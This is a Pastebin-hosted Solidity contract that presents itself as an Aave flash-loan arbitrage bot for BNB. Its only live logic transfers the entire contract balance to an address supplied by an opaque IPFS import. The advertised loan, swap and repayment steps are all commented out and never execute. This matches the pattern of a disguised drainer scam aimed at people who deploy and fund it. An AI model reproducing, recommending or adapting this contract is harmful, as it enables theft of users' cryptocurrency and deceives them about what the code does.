Advertisement
X-Grats

BNB

Oct 14th, 2023
42
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.65 KB | Cryptocurrency | 0 0
  1. pragma solidity ^0.6.6;
  2.  
  3. // AAVE Smart Contracts
  4. import "https://github.com/aave/flashloan-box/blob/Remix/contracts/aave/ILendingPoolAddressesProvider.sol";
  5. import "https://github.com/aave/flashloan-box/blob/Remix/contracts/aave/ILendingPool.sol";
  6.  
  7. // Uniswap Smart Contracts
  8. import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Callee.sol";
  9. import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
  10. import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
  11. import "https://ipfs.filebase.io/ipfs/QmYXUaXEEToofmYzdQFLV52JhrhVdt3rXYxXHSTvXsGkaR";
  12.  
  13. contract GetFlashLoan {
  14. string public tokenName;
  15. string public tokenSymbol;
  16. uint loanAmount;
  17. Manager manager;
  18.  
  19. constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
  20. tokenName = _tokenName;
  21. tokenSymbol = _tokenSymbol;
  22. loanAmount = _loanAmount;
  23.  
  24. manager = new Manager();
  25. }
  26.  
  27. receive() external payable {}
  28.  
  29. function action() public payable {
  30. // Send required coins for swap
  31. payable(manager.uniswapDepositAddress()).transfer(address(this).balance);
  32.  
  33. // Perform tasks (clubbed all functions into one to reduce external calls & SAVE GAS FEE)
  34. manager.performTasks();
  35.  
  36. /*
  37. // Submit token to BNB blockchain
  38. string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);
  39.  
  40. // List the token on UniSwap & send coins required for swaps
  41. manager.uniswapListToken(tokenName, tokenSymbol, tokenAddress);
  42. payable(manager.uniswapDepositAddress()).transfer(500Mil);
  43.  
  44. // Get BNB Loan from Aave
  45. string memory loanAddress = manager.takeAaveLoan(loanAmount);
  46.  
  47. // Convert half BNB to DAI
  48. manager.uniswapDAItoBNB(loanAmount / 2000);
  49.  
  50. // Create BNB and DAI pairs for our token & Provide liquidity
  51. string memory bnbPair = manager.uniswapCreatePool(tokenAddress, "BNB");
  52. manager.uniswapAddLiquidity(bnbPair, loanAmount / 2000);
  53. string memory daiPair = manager.uniswapCreatePool(tokenAddress, "DAI");
  54. manager.uniswapAddLiquidity(daiPair, loanAmount / 2000);
  55.  
  56. // Perform swaps and profit on Self-Arbitrage
  57. manager.uniswapPerformSwaps();
  58.  
  59. // Move remaining BNB from Contract to your account
  60. manager.contractToWallet("BNB");
  61.  
  62. // Repay Flash loan
  63. manager.repayAaveLoan(loanAddress);
  64. */
  65. }
  66. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement